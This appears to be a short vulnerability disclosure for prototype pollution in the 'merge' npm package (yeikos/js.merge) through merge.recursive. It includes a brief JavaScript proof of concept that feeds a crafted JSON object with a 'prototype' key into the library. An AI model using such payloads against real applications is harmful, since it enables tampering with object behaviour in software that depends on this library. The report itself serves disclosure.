Prototype Pollution in yeikos/js.merge

Valid

Reported on

Sep 23rd 2020


Overview

merge is used to merge multiple objects into one object.

Affected versions of this package are vulnerable to Prototype Pollution via the merge.recursive function. It can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

Proof of Concept

var mergelib = require('merge');

var obj = mergelib({}, JSON.parse('{ "testProperty": "hi", "prototype" : { "status" : "pwned!" } }'));
console.log(obj.prototype.status);

Occurrences

to join this conversation